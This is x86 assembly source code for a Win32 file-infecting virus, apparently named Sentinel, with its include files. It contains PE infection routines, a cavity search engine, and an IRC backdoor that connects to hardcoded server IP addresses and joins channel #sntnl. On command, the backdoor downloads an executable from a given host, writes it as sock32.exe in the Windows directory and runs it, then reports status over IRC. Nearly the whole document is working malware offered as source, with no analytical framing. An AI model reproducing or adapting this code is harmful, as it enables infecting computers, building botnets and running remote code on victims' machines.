GetRVAImportTable:
mov esi, [ebp + PEheader]
mov eax, [esi + 80h] ; rva of import table
call FIND_SECTION
or eax, eax
jz NotFound

; edx = va of import section


; ecx = size of import section
; on stack: esi, ecx

CompareAddressToImportAddress:
mov esi, [ebp + epo_awaa_va]
cmp edx, esi
jb CheckNotAbove
jmp NotFound

CheckNotAbove:
add edx, ecx
cmp edx, esi
ja FoundGoodInsertionPoint

NotFound:
pop ecx
pop esi
jmp ScanForOpcode

FoundGoodInsertionPoint:
mov eax, 0ah
call GET_RANDOM_NUMBER_WITHIN
cmp eax, 3h
ja NotFound

pop ecx
pop esi
mov eax, 01h

; eax == 0 -> error


; eax == 1 -> found

ExitEpoRoutine:
ret

CREATE_EPO endp

FIND_USER32_BASE_ADDRESS proc

GetUser32Base:
lea eax, [ebp + user32]
push eax
lea eax, [ebp + ALoadLibrary]
call GETAPI
mov [ebp + user32address], eax
ret

FIND_USER32_BASE_ADDRESS endp

FIND_WSOCK32_BASE_ADDRESS proc

LoadWsock32:
lea eax, [ebp + wsock32] ; not found, then
push eax ; load the dll
lea eax, [ebp + ALoadLibrary] ; first
call GETAPI
mov [ebp + wsock32address], eax
ret

FIND_WSOCK32_BASE_ADDRESS endp

FIND_SECTION proc

; In: eax - rva somewhere in section


; Out: edx - va of section start
; Out: ecx - size of section
; out: edi - va of section header

FindFirstSectionHeader:
mov esi, [ebp + mapaddress]
add esi, dword ptr [esi + 3ch] ; esi=offset peheader
movzx ecx, word ptr [esi + 06h] ; ecx = nr. of sections
movzx edi, word ptr [esi + 20d] ; optional header size
add esi, 24d ; file header size
add edi, esi

; edi points to first section header

FindCorrespondingSection:
push eax
mov edx, dword ptr [edi + 12d] ; section RVA
sub eax, edx
cmp eax, dword ptr [edi + 08d] ; section size
jb SectionFound

NotThisSection:
pop eax
add edi, 40d
loop FindCorrespondingSection

EndSectionSearch:
xor eax, eax
ret

SectionFound:
pop eax
mov edx, dword ptr [edi + 12d]
add edx, [ebp + imagebase]
mov ecx, dword ptr [edi + 08d]
ret

FIND_SECTION endp

GET_RANDOM_NUMBER proc

push eax ebx


lea eax, [ebp + AGetTickCount]
call GETAPI

lea ebx, [ebp + random_number] ; EBX = pointer to random_number


mul dword ptr [ebx] ; Multiply previous miliseconds with
sbb edx,eax ; Add low-order word of 32-bit random
cmc ; Complement carry flag
adc [ebx],edx ; Store 32-bit random number
pop ebx eax
ret

GET_RANDOM_NUMBER endp

GET_RANDOM_NUMBER_WITHIN proc
push ebx
call GET_RANDOM_NUMBER
xchg eax,ebx ; EBX = number in range
xor eax,eax ; Zero EAX
xchg eax,edx ; EDX = 32-bit random number
div ebx ; EAX = random number within range
pop ebx
xchg eax, edx
ret

GET_RANDOM_NUMBER_WITHIN endp

CAVITYSEARCH proc

;-----------------------------------------------------------------------------
; Cavity search engine by Benny and Darkman of 29A
;
; Calling parameters:
; ECX = size of search area
; ESI = pointer to search area
;
; Return parameters:
; ESI = pointer to cave

CSE:
pushad
mov ebp, 14d ; EBP = size of cave wanted
lodsb ; AL = byte within search area

reset_cavity_loop:
xchg eax,ebx ; BL = " " " "
xor edx,edx ; Zero EDX
dec ecx ; Decrease counter
cmp ecx,ebp ; Unsearched search area large enough?
jb no_cave_found ; Below? Jump to no_cave_found

find_cave_loop:
lodsb ; AL = byte within search area
cmp al,bl ; Current byte equal to previous byte?
jne reset_cavity_loop ; Not equal? Jump to reset_cavity_loop
inc edx ; Increase number of bytes found in
; cave
cmp edx,ebp ; Found a cave large enough?
jne find_cave_loop ; Not equal? Jump to find_cave_loop
sub esi,ebp ; ESI = pointer to cave
jmp exit_cave

no_cave_found:
xor esi, esi

exit_cave:
mov [esp + 4],esi
popad
ret

;-----------------------------------------------------------------------------

CAVITYSEARCH endp

names dd 30d
name1 db 'pion',0
name2 db 'sarge',0
name3 db 'blink',0
name4 db 'midge',0
name5 db 'xaero',0
name6 db 'void',0
name7 db 'vivid',0
name8 db 'xeon',0
name9 db 'n0bs',0
name10 db 'helios',0
name11 db 'phobos',0
name12 db 'flux',0
name13 db 'hypno',0
name14 db 'bond',0
name15 db 'chaos',0
name16 db 'blup',0
name17 db 'sntnl',0
name18 db 'fire',0
name19 db 'water',0
name20 db 'earth',0
name21 db 'heart',0
name22 db 'stone',0
name23 db 'light',0
name24 db 'love',0
name25 db 'silver',0
name26 db 'surfer',0
name27 db 'panic',0
name28 db 'm00dy',0
name29 db 'texas',0
name30 db 'snow',0
name31 db 'beta',0

servers dd 04d
server1 db "195.112.4.25",0
server2 db "195.159.135.99",0
server3 db "195.121.6.196",0
server4 db "154.11.89.164",0
server5 db "205.188.149.3",0

port1 dd 7000d
port2 dd 6660d
port3 dd 6660d
port4 dd 6661d
port5 dd 6667d

GET_ITEM_FROM_LIST proc

; IN: eax = total number of items


; esi = offset of first item
; OUT: esi = pntr to start of item
; ecx = size of item
; eax = random number

GetItemFromList:
push edi
push esi
call GET_RANDOM_NUMBER_WITHIN
mov ecx, eax
pop esi
push eax
or ecx, ecx
jz GetSizeOfItem
GetPositionOfItem:
push ecx
call GET_STRING_SIZE
add esi, ecx
inc esi
pop ecx
loop GetPositionOfItem

GetSizeOfItem:
call GET_STRING_SIZE
pop eax
pop edi
ret

GET_ITEM_FROM_LIST endp

IRC_LAUNCH proc

IRCLaunch:
cmp [ebp + ircstatus], 00h
je CreateIRCThread
ret

CreateIRCThread:
lea eax, [ebp + ircthreadid]
push eax
push 00h
push 01h
lea eax, [ebp + IRC_THREAD]
push eax
push 00h
push 00h
lea eax, [ebp + ACreateThread]
call GETAPI
mov [ebp + ircstatus], 01h
ret

IRC_LAUNCH endp

IRC_THREAD proc handle: dword

IrcThreadEntryPoint:
pushad
call GetIrcDelta

GetIrcDelta:
pop ebp
sub ebp, offset GetIrcDelta

GetWSock32Base:
call FIND_GETPROCADDRESS_API_ADDRESS
call FIND_WSOCK32_BASE_ADDRESS

LoadWinInetDll:
lea eax, [ebp + wininet]
push eax
lea eax, [ebp + ALoadLibrary]
call GETAPI
or eax, eax
jz UserIsOffline

FindConnectionApiAddress:
lea ebx, [ebp + AInternetGetConnectedState]
push ebx
push eax
call [ebp + AGetProcAddressA]
or eax, eax
jz UserIsOffline

CheckConnection:
push 00h
lea ebx, [ebp + buffer]
push ebx
call eax
or eax, eax
jnz UserIsOnline

UserIsOffline:
push 10000h
lea eax, [ebp + ASleep]
call GETAPI
jmp LoadWinInetDll

UserIsOnline:
lea eax, [ebp + mywsadata]
push eax
push 101h
lea eax, [ebp + AWSAStartup]
call GETWAPI

OpenSocket:
push 00h
push SOCK_STREAM
push AF_INET
lea eax, [ebp + Asocket]
call GETWAPI
mov [ebp + socketh], eax

GetSocketValues:
mov [ebp + mysocket.sin_family], AF_INET
mov eax, [ebp + servers]
lea esi, [ebp + server1]
call GET_ITEM_FROM_LIST
push esi
push ecx

GetPort:
lea esi, [ebp + port1]
mov ecx, 04
mul ecx
add esi, eax
mov edx, dword ptr [esi]

push edx
lea eax, [ebp + Ahtons]
call GETWAPI
mov [ebp + mysocket.sin_port], ax

pop ecx
lea eax, [ebp + Ainet_addr]
call GETWAPI
mov [ebp + mysocket.sin_addr], eax

Connect:
push 10h
lea eax, [ebp + mysocket]
push eax
push [ebp + socketh]
lea eax, [ebp + Aconnect]
call GETWAPI
test eax, eax
jnz Connect

LogonToIrcServer:
call LOGON

DoTheLoop:
call IRC_RECEIVE
or eax, eax
jz CloseSocket
jmp DoTheLoop

CloseSocket:
push [ebp + socketh]
lea eax, [ebp + Aclosesocket]
call GETWAPI

WSACleanUp:
lea eax, [ebp + AWSACleanup]
call GETWAPI

ExitThread:
popad
ret

IRC_THREAD endp

LOGON proc near

call IRC_RECEIVE

SendNick:
lea edi, [ebp + offset buffer]
lea esi, [ebp + offset nick]
mov ecx, 05h
rep movsb
lea esi, [ebp + name1]
mov eax, [ebp + names]
call GET_ITEM_FROM_LIST
rep movsb
mov ebx, 10d
call GET_RANDOM_NUMBER_WITHIN
add eax, 48d
mov byte ptr [edi], al
inc edi
mov ebx, 10d
call GET_RANDOM_NUMBER_WITHIN
add eax, 48d
mov byte ptr [edi], al
inc edi
lea esi, [ebp + crlf]
mov ecx, 03h
rep movsb
lea esi, [ebp + buffer]
call GET_STRING_SIZE
call IRC_SEND

call IRC_RECEIVE
SendUser:
lea edi, [ebp + buffer]
lea esi, [ebp + user1]
mov ecx, 05d
rep movsb
call CREATE_RANDOM_NAME
lea esi, [ebp + user2]
mov ecx, 18d
rep movsb
lea esi, [ebp + buffer]
call GET_STRING_SIZE
call IRC_SEND

call IRC_RECEIVE
call IRC_RECEIVE

SendJoin:
lea esi, [ebp + join]
mov ecx, 13d
call IRC_SEND

PostVersionMessage:
call .PostVersion

LogonDone:
ret

LOGON endp

IRC_RECEIVE proc

push 00h
push 400h
lea eax, [ebp + buffer]
push eax
push [ebp + socketh]
lea eax, [ebp + ARecv]
call GETWAPI
mov [ebp + nrbytes], eax
call IRC_SCANBUFFER
ret

IRC_RECEIVE endp

IRC_SEND proc

; esi = snd buffer


; ecx = size to send

push 00h
push ecx
push esi
push [ebp + socketh]
lea eax, [ebp + ASend]
call GETWAPI
ret

IRC_SEND endp

.PostVersion:
lea edi, [ebp + buffer]
lea esi, [ebp + post]
mov ecx, 16d
rep movsb
lea esi, [ebp + post_vers]
mov ecx, 5d
rep movsb
lea esi, [ebp + version]
mov ecx, 4d
rep movsb
lea esi, [ebp + crlf]
mov ecx, 03d
rep movsb
lea esi, [ebp + buffer]
call GET_STRING_SIZE
call IRC_SEND
ret

.RespondPing:
lea edi, [ebp + buffer]
lea esi, [ebp + pong]
mov ecx, 04h
rep movsb
mov ecx, [ebp + nrbytes]
lea esi, [ebp + buffer]
call IRC_SEND

.RespondPing_End:
ret

IRC_SCANBUFFER proc

; IN esi: buffer start


; ecx: buffer size

ScanDaBuffer:
mov ecx, [ebp + nrbytes]
lea esi, [ebp + buffer]

.PingPongMessage:
cmp dword ptr [esi], 'GNIP'
jne GetReplyNick
call .RespondPing
jmp EndLoop

GetReplyNick:
jecxz EndLoop
inc esi
dec ecx
cmp byte ptr [esi], '!'
je ExtractReplyNick
cmp byte ptr [esi], ':'
je EndLoop
jmp GetReplyNick

ExtractReplyNick:
push esi
push ecx
mov ecx, esi
lea esi, [ebp + buffer]
sub ecx, esi
dec ecx
inc esi
lea edi, [ebp + replynick]
rep movsb
mov byte ptr [edi], 00h
pop ecx
pop esi

ScanLoop:
jecxz EndLoop
cmp dword ptr [esi], 'VIRP'
je SearchTextStart
inc esi
dec ecx
jmp ScanLoop

SearchTextStart:
jecxz EndLoop
cmp byte ptr [esi], ':'
je .CommandMessage
inc esi
dec ecx
jmp SearchTextStart

.CommandMessage:
inc esi
dec ecx
cmp dword ptr [esi], 's54p'
jne EndLoop

GetText:
add esi, 5
sub ecx, 5
cmp byte ptr [esi], '/'
jne EndLoop

CheckIncomingCommandMessage:
inc esi
dec ecx
cmp dword ptr [esi], 'kc1n'
je CreateRandomNick
cmp dword ptr [esi], 't1uq'
je QuitIrc
cmp dword ptr [esi], 'c3xe'
je LaunchInstaller
cmp dword ptr [esi], 't4ts'
je InstallerStatus
call IRC_SEND
jmp EndLoop

CreateRandomNick:
lea edi, [ebp + mynick]
call CREATE_RANDOM_NAME
mov byte ptr [edi], 00h
lea edi, [ebp + buffer]
mov dword ptr [edi], 'KCIN'
add edi, 04h
mov byte ptr [edi], ' '
inc edi
lea esi, [ebp + mynick]
call GET_STRING_SIZE
rep movsb
lea esi, [ebp + crlf]
mov ecx, 03h
rep movsb
lea esi, [ebp + buffer]
call GET_STRING_SIZE
call IRC_SEND
jmp EndLoop

QuitIrc:
lea esi, [ebp + quit]
mov ecx, 06h
call IRC_SEND
xor eax, eax
jmp EndLoop

LaunchInstaller:
call INSTALLER_LAUNCH
jmp EndLoop

InstallerStatus:
call INSTALLER_STATUS

EndLoop:
ret

IRC_SCANBUFFER endp

version db "0101",0
post db "PRIVMSG #sntnl :",0
post_vers db "vers ",0
mynick db 5h dup(0)
replynick db 5h dup(0)

nrbytes dd 0
ircstatus dd 0
ircthreadid dd 0

wsock32 db "WSOCK32.dll",0
wininet db "WININET.dll",0

ASend db "send",0
ARecv db "recv",0
AWSAGetLastError db "WSAGetLastError",0
AWSAGetLastErrorA dd 0
AInternetGetConnectedState db "InternetGetConnectedState",0
ACreateThread db "CreateThread",0
AWSAStartup db "WSAStartup",0
AWSACleanup db "WSACleanup",0
Asocket db "socket",0
Aconnect db "connect",0
Aclosesocket db "closesocket",0
Ahtons db "htons",0
Ainet_addr db "inet_addr",0
AGetTickCount db "GetTickCount",0
AGetLastError db "GetLastError",0
ASleep db "Sleep",0

random_number dd 01234567h
ipaddress db "212.43.217.183",0

; if the bot does not appear online in #sentinel, try using a different
; server ip-address.

user1 db "USER ",0


user2 db " bb cc sentinel",0dh,0ah
nick db "NICK ",0
pong db "PONG",0
join db "JOIN #sntnl",0dh,0ah
quit db "QUIT",0dh,0ah
crlf db 0dh, 0ah,0
dots db ' :',0
socketh dd 0
buffer db 400h dup(0)

mywsadata WSADATA <>


mysocket SOCKADDR <>

CREATE_RANDOM_NAME proc

; IN: edi = place to put 5 rnd chars

call GetRandomChar
call GetRandomChar
call GetRandomChar
call GetRandomChar
call GetRandomChar
ret

GetRandomChar:
mov eax, 26d
call GET_RANDOM_NUMBER_WITHIN
add eax, 97d
mov byte ptr [edi], al
inc edi
ret

CREATE_RANDOM_NAME endp

GET_STRING_SIZE proc

GetStringSize:
xor ecx, ecx

SearchEndOfString:
cmp byte ptr [esi + ecx], 0h
je StringSizeFound
inc ecx
jmp SearchEndOfString

StringSizeFound:
ret

GET_STRING_SIZE endp

INSTALLER_LAUNCH proc

LaunchTheInstaller:
add esi, 05h
sub ecx, 05h

GetServerValue:
cmp byte ptr [esi], '['
jne ExitInstallerLaunch
inc esi

FoundServerValueStart:
mov edi, esi
xor edx, edx

GetServerLoop:
cmp byte ptr [esi], ']'
je StoreServerValue
inc esi
inc edx
dec ecx
cmp ecx, 00h
je ExitInstallerLaunch
jmp GetServerLoop

StoreServerValue:
mov esi, edi
push ecx
lea edi, [ebp + installer_server]
mov ecx, edx
rep movsb
pop ecx

GetGetCommand:
cmp byte ptr [esi], '['
je FilterGetCommand
inc esi
dec ecx
cmp ecx, 00h
je ExitInstallerLaunch
jmp GetGetCommand

FilterGetCommand:
inc esi
mov edi, esi
xor edx, edx

GetCommandLoop:
cmp byte ptr [esi], ']'
je SaveGetCommand
inc esi
inc edx
dec ecx
cmp ecx, 00h
je ExitInstallerLaunch
jmp GetCommandLoop

SaveGetCommand:
mov [ebp + installer_getsize], edx
mov esi, edi
mov ecx, edx
lea edi, [ebp + installer_get]
rep movsb

InstallerGo:
mov [ebp + installer_launchstatus], 00h
lea eax, [ebp + installerthreadid]
push eax
push 00h
push 1234567h
lea eax, [ebp + INSTALLER_THREAD]
push eax
push 10000h
push 00h
lea eax, [ebp + ACreateThread]
call GETAPI

ExitInstallerLaunch:
ret
INSTALLER_LAUNCH endp

INSTALLER_RECEIVE proc

SaveStack:
pushad

ReceiveData:
push edi
mov eax, [ebp + nrbytes2]
mov esi, dword ptr [ebp + dmHnd]
add esi, eax
push 00h
push edi
push esi
push [ebp + isocketh]
lea eax, [ebp + ARecv]
call GETWAPI
add [ebp + nrbytes2], eax
pop edi

mov ecx, eax


inc ecx
jnz InstallerProceed

call [ebp + AWSAGetLastErrorA]


cmp eax,2733h
je ReceiveData

InstallerProceed:
popad
ret

INSTALLER_RECEIVE endp

INSTALLER_STATUS proc

CheckInstallerStatus:
cmp [ebp + installer_launchstatus], 00h
je StatusWaiting
cmp [ebp + installer_launchstatus], 01h
je StatusInstalling
cmp [ebp + installer_launchstatus], 02h
je StatusDone
cmp [ebp + installer_launchstatus], 03h
je StatusConnectionError
cmp [ebp + installer_launchstatus], 04h
je StatusSizeError
jmp ExitInstallerStatus

StatusWaiting:
push 00h
push 28d
lea eax, [ebp + installer_stat00]
push eax
push [ebp + socketh]
lea eax, [ebp + ASend]
call GETWAPI
jmp ExitInstallerStatus

StatusInstalling:
push 00h
push 31d
lea eax, [ebp + installer_stat01]
push eax
push [ebp + socketh]
lea eax, [ebp + ASend]
call GETWAPI
jmp ExitInstallerStatus

StatusDone:
push 00h
push 25d
lea eax, [ebp + installer_stat02]
push eax
push [ebp + socketh]
lea eax, [ebp + ASend]
call GETWAPI
jmp ExitInstallerStatus

StatusConnectionError:
push 00h
push 38d
lea eax, [ebp + installer_stat03]
push eax
push [ebp + socketh]
lea eax, [ebp + ASend]
call GETWAPI
jmp ExitInstallerStatus

StatusSizeError:
push 00h
push 31d
lea eax, [ebp + installer_stat04]
push eax
push [ebp + socketh]
lea eax, [ebp + ASend]
call GETWAPI

ExitInstallerStatus:
ret

INSTALLER_STATUS endp

INSTALLER_THREAD proc handle: dword

GetInstallerDelta:
pushad
call InstallerDelta

InstallerDelta:
pop ebp
sub ebp, offset InstallerDelta

AllocateExeMem:
push 1000000h
push GMEM_FIXED
lea eax, [ebp + AGlobalAlloc]
call GETAPI

mov [ebp + dmHnd], eax


or eax, eax
jz ExitInstaller

InstallerWsaStartup:
lea eax, [ebp + mywsadata]
push eax
push 101h
lea eax, [ebp + AWSAStartup]
call GETWAPI

InstallerOpenSocket:
push 00h
push 01h
push 02h
lea eax, [ebp + Asocket]
call GETWAPI
mov [ebp + isocketh], eax

InstallerGetSocketValues:
mov [ebp + mysocket2.sin_family], 02h
push 80
lea eax, [ebp + Ahtons]
call GETWAPI
mov [ebp + mysocket2.sin_port], ax

lea eax, [ebp + installer_server]


push eax
lea eax, [ebp + Ainet_addr]
call GETWAPI
mov [ebp + mysocket2.sin_addr], eax
xor ecx, ecx

InstallerConnect:
cmp ecx, 03h
je InstallerConnectionError
push ecx

push 10h
lea eax, [ebp + mysocket2]
push eax
push [ebp + isocketh]
lea eax, [ebp + Aconnect]
call GETWAPI

pop ecx
or eax, eax
jz InstallerSendGetCommand
inc ecx
jmp InstallerConnect

InstallerConnectionError:
mov [ebp + installer_launchstatus], 03h
jmp ExitInstaller

InstallerSendGetCommand:
push 00h
push [ebp + installer_getsize]
lea eax, [ebp + installer_get]
push eax
push [ebp + isocketh]
lea eax, [ebp + ASend]
call GETWAPI

push 00h
push 02h
lea eax, [ebp + crlf]
push eax
push [ebp + isocketh]
lea eax, [ebp + ASend]
call GETWAPI

push 00h
push 02h
lea eax, [ebp + crlf]
push eax
push [ebp + isocketh]
lea eax, [ebp + ASend]
call GETWAPI

mov [ebp + installer_launchstatus], 01h


mov [ebp + nrbytes2], 00h
mov ecx, 1000000h

ReceiveLoop:
cmp ecx, 400h
jna LastPart
sub ecx, 400h
mov edi, 400h
call INSTALLER_RECEIVE
jmp ReceiveLoop

LastPart:
mov edi, ecx
call INSTALLER_RECEIVE

SearchMz:
xor ecx, ecx
mov edi, dword ptr [ebp + dmHnd]

MzLoop:
cmp word ptr [edi], 'ZM'
je FoundExeMark
inc edi
inc ecx

cmp ecx, 200h


ja SearchZm
jmp MzLoop

SearchZm:
xor ecx, ecx
mov edi, dword ptr [ebp + dmHnd]

ZmLoop:
cmp word ptr [edi], 'MZ'
je FoundExeMark
inc edi
inc ecx

cmp ecx, 200h


ja InstallerCloseSocket
jmp ZmLoop

FoundExeMark:
mov [ebp + skip], ecx

ZeroWindirString:
mov ecx, 100h
xor eax, eax
lea edi, [ebp + windir]
rep stosb

InstallerGetSetWindowsDirectory:
call GET_WINDIR
call SET_WINDIR

push 00h
push 20h
push 02h
push 00h
push 01h
push 80000000h or 40000000h
lea eax, [ebp + commandline]
push eax
lea eax, [ebp + ACreateFile]
call GETAPI
mov [ebp + ifilehandle], eax

push 02h
push 00h
push 00h
push eax
lea eax, [ebp + ASetFilePointer]
call GETAPI

mov edi, dword ptr [ebp + dmHnd]


add edi, [ebp + skip]
mov ebx, [ebp + nrbytes2]
sub ebx, [ebp + skip]

push 00h
lea edx, [ebp + bytesread]
push edx
push ebx
push edi
push [ebp + ifilehandle]
lea eax, [ebp + AWriteFile]
call GETAPI

InstallerGetRealSize:
lea ebx, [ebp + irealsize]
push ebx
push [ebp + ifilehandle]
lea eax, [ebp + AGetFileSize]
call GETAPI
mov [ebp + irealsize], eax

InstallerCloseFile:
push [ebp + ifilehandle]
lea eax, [ebp + ACloseHandle]
call GETAPI

GetFileSize:
mov edi, dword ptr [ebp + dmHnd]
xor ecx, ecx

InstallerFileSizeLoop:
cmp dword ptr [edi], ':htg'
je InstallerFoundSize
inc ecx
inc edi
cmp ecx, 200h
je InstallerCloseSocket
jmp InstallerFileSizeLoop

InstallerFoundSize:
xor ecx, ecx
add edi, 05h
mov [ebp + sizestart], edi

ExtractFileSizeLoop:
cmp word ptr [edi], 0a0dh
je FoundEndOfSizeString
inc edi
inc ecx
cmp ecx, 10h
je InstallerCloseSocket
jmp ExtractFileSizeLoop

FoundEndOfSizeString:
cld
mov [ebp + sizesize], ecx
mov [ebp + ifilesize], 00h
mov ebx, 01h
mov esi, [ebp + sizestart]
add esi, ecx
sub esi, 01h

Convert2Int:
xor eax, eax
lodsb
sub eax,'0'
mul ebx
add [ebp + ifilesize], eax
add edx, eax
dec esi
dec esi
dec ecx
cmp ecx, 00h
je InstallerCheckFileSize
push ecx
push esi
mov ecx, 10d
mov eax, ebx
mul ecx
mov ebx, eax
pop esi
pop ecx
jmp Convert2Int

InstallerCheckFileSize:
mov esi, [ebp + ifilesize]
mov edi, [ebp + irealsize]
cmp esi, edi
je ExecuteFile
mov [ebp + installer_launchstatus], 04h
jmp InstallerCloseSocket

ExecuteFile:
lea eax, [ebp + lpProcessInformation]
push eax
lea eax, [ebp + lpStartupInfo]
push eax
push 00h
push 00h
push CREATE_DEFAULT_ERROR_MODE
push FALSE
lea eax, [ebp + lpThreadAttributes]
push eax
lea eax, [ebp + lpProcessAttributes]
push eax
lea eax, [ebp + commandline]
push eax
push 00h
lea eax, [ebp + ACreateProcess]
call GETAPI
mov [ebp + installer_launchstatus], 02h

InstallerCloseSocket:
push [ebp + isocketh]
lea eax, [ebp + Aclosesocket]
call GETWAPI

lea eax, [ebp + AWSACleanup]


call GETWAPI

ExitInstaller:
popad
ret

INSTALLER_THREAD endp

FALSE = 0
TRUE = 1

lpProcessInformation PROCESS_INFORMATION <>


lpStartupInfo STARTUPINFO <>
lpThreadAttributes SECURITY_ATTRIBUTES <>
lpProcessAttributes SECURITY_ATTRIBUTES <>
mysocket2 SOCKADDR <>

AWriteFile db "WriteFile",0
ACreateProcess db "CreateProcessA",0
AGlobalAlloc db "GlobalAlloc",0

commandline db "sock32.exe",0

windir db 100h dup(0)


skip dd 0
sizestart dd 0
sizesize dd 0
bytesread dd 0
nrbytes2 dd 0

dmHnd dd 0
ifilehandle dd 0
ifilesize dd 0
irealsize dd 0
isocketh dd 0

installerthreadid dd 0

installer_server db 20h dup(0)


installer_get db 100h dup(0)
installer_serversize dd 0
installer_getsize dd 0
installer_launchstatus dd 0
installer_stat00 db "PRIVMSG #sntnl :Waiting...",0dh,0ah
installer_stat01 db "PRIVMSG #sntnl :Installing...",0dh,0ah
installer_stat02 db "PRIVMSG #sntnl :Done...",0dh,0ah
installer_stat03 db "PRIVMSG #sntnl :Unable to connect...",0dh,0ah
installer_stat04 db "PRIVMSG #sntnl :Size error...",0dh,0ah

GET_WINDIR proc

GetWindowsDir:
push 128h ; size of dirstring
lea eax, [ebp + windir] ; save it here
push eax
lea eax, [ebp + AGetWindowsDirectory] ; get windowsdir
call GETAPI
ret

GET_WINDIR endp

SET_WINDIR proc

SetWindowsDir:
lea eax, [ebp + windir] ; change to sysdir
push eax
lea eax, [ebp + ASetCurrentDirectory]
call GETAPI
ret

SET_WINDIR endp

;========================================================================;

Leap:

.code

OriginalHost:
pop ebx

push 00h
call ExitProcess

end FirstCopy
end
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[SENTINEL.ASM]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MYINC.INC]ÄÄÄ
GMEM_FIXED = 0000h

LPVOID typedef DWORD ;long ptr to buffer


BOOL typedef DWORD ;boolean variable
HANDLE typedef DWORD ;unspecified handle
LPSTR typedef DWORD ;long ptr to string
LPBYTE typedef DWORD ;long ptr to byte
ACHAR typedef BYTE ;ansi character
CHAR textequ <ACHAR> ;ansi char type
CHAR_ equ 1 ;ansi char size

CREATE_DEFAULT_ERROR_MODE equ 04000000h

SECURITY_ATTRIBUTES_ equ 4+4+4


SECURITY_ATTRIBUTES struct
sa_nLength DWORD SECURITY_ATTRIBUTES_ ;structure size
sa_lpSecurityDescriptor LPVOID 0 ;security descriptor
sa_bInheritHandle BOOL 0 ;handle inheritance flag
SECURITY_ATTRIBUTES ends

PROCESS_INFORMATION struct
pi_hProcess HANDLE 0 ;process handle
pi_hThread HANDLE 0 ;thread handle
pi_dwProcessId DWORD 0 ;process id
pi_dwThreadId DWORD 0 ;thread id
PROCESS_INFORMATION ends
PROCESS_INFORMATION_ equ 4+4+4+4

STARTUPINFO struct
si_cb DWORD 0 ;structure size
si_lpReserved LPSTR 0 ;(reserved)
si_lpDesktop LPSTR 0 ;desktop name
sl_lpTitle LPSTR 0 ;console window title
si_dwX DWORD 0 ;window origin (column)
si_dwY DWORD 0 ;window origin (row)
si_dwXSize DWORD 0 ;window width
si_dwYSize DWORD 0 ;window height
si_dwXCountChars DWORD 0 ;screen buffer width
si_dwYCountChars DWORD 0 ;screen buffer height
si_dwFillAttribute DWORD 0 ;console window initialization
si_dwFlags DWORD 0 ;structure member flags
si_wShowWindow WORD 0 ;ShowWindow() parameter
si_cbReserved2 WORD 0 ;(reserved)
si_lpReserved2 LPBYTE 0 ;(reserved)
si_hStdInput HANDLE 0 ;standard input handle
si_hStdOutput HANDLE 0 ;standard output handle
si_hStdError HANDLE 0 ;standard error handle
STARTUPINFO ends
STARTUPINFO_ equ 4+4+4+4+4+4+4+4+4+4+4+4+2+2+4+4+4+4

WIN32_FIND_DATA_ equ 4+8+8+8+4+4+4+4+(260*CHAR_)+(14*CHAR_)


WIN32_FIND_DATA struct
fd_dwFileAttributes DWORD 0 ;file attributes
fd_ftCreationTime DWORD 0, 0 ;time of file creation
fd_ftLastAccessTime DWORD 0, 0 ;time of last file access
fd_ftLastWriteTime DWORD 0, 0 ;time of last write access
fd_nFileSizeHigh DWORD 0 ;high-order word of file size
fd_nFileSizeLow DWORD 0 ;low-order word of file size
fd_dwReserved0 DWORD 0 ;(reserved)
fd_dwReserved1 DWORD 0 ;(reserved)
fd_cFileName CHAR 260 dup(0) ;matching file name
fd_cAlternateFileName CHAR 14 dup(0) ;8.3 alias name
WIN32_FIND_DATA ends
;

SEH struct
m_pSEH DWORD 0
m_pExcFunction DWORD 0
SEH ends
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MYINC.INC]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[WSOCKS.INC]ÄÄÄ
;
; WSocks.inc: include file for windows sockets .
; Designed for TASM5 and Win32.
;
; (C) 1999 Bumblebee.
;
; This file contains basic structures and stuff to work
; with windows sockets.
;

; Descriptions of the API:


; arguments in order of PUSH ;)

; only for debug


extrn WSAGetLastError:PROC

; starts the use of winsock dll


; addr WSADATA, version requested
; returns: 0 ok
extrn WSAStartup:PROC

; terminates the use of winsock dll


; returns: SOCK_ERR on error
extrn WSACleanup:PROC

; opens a new socket


; protocol (PCL_NONE), type (SOCK_??), addr format (AF_??)
; returns: socket id or SOCKET_ERR (socket is dw)
extrn socket:PROC

; closes a socket
; socket descriptor
;
extrn closesocket:PROC

; sends data (this socks are a shit... Unix uses simple write)
; flags (1 OOB data or 0 normal ) , length, addr of buffer, socket
; returns: caracters sent or SOCKET_ERR on error
extrn send:PROC

; reveives data (this socks are a shit... Unix uses simple read)
; flags (use 0), length, addr of buffer, socket
; returns: caracters sent or SOCKET_ERR on error
extrn recv:PROC

; connects to a server
; sizeof struct SOCKADDR, struct SOCKADDR, socket
; returns: SOCKET_ERR on error
extrn connect:PROC

; gets the name of the current host


; length of the buffer for name, addr of buffer for name
; return: SOCKET_ERR on error
extrn gethostname:PROC

; gets strcut hostent


; addr of name
; returns: ponter to the struct or 0 on error
extrn gethostbyname:PROC

; converts a zstring like "xxx.xxx.xx...." to netw byte order


; zstring ptr to change to dotted addr format
; returns: in_addr (dd)
extrn inet_addr:PROC

; dw to convert into netw byte order (usually the port)


; returns: the value in network byte order (dw)
extrn htons:PROC

; Structs :o
; sockaddr struct for connection
; modified (for better use)
; if you want the original look for it into a winsock.h
SOCKADDR struct
sin_family dw 0 ; ex. AF_INET
sin_port dw 0 ; use htons for this
sin_addr dd 0 ; here goes server node (from inet_addr)
sin_zero db 8 dup(0)
SOCKADDR ends

; for WSAStartup diagnose


WSADATA struct
mVersion dw 0
mHighVersion dw 0
szDescription db 257 dup(0)
szSystemStatus db 129 dup(0)
iMaxSockets dw 0
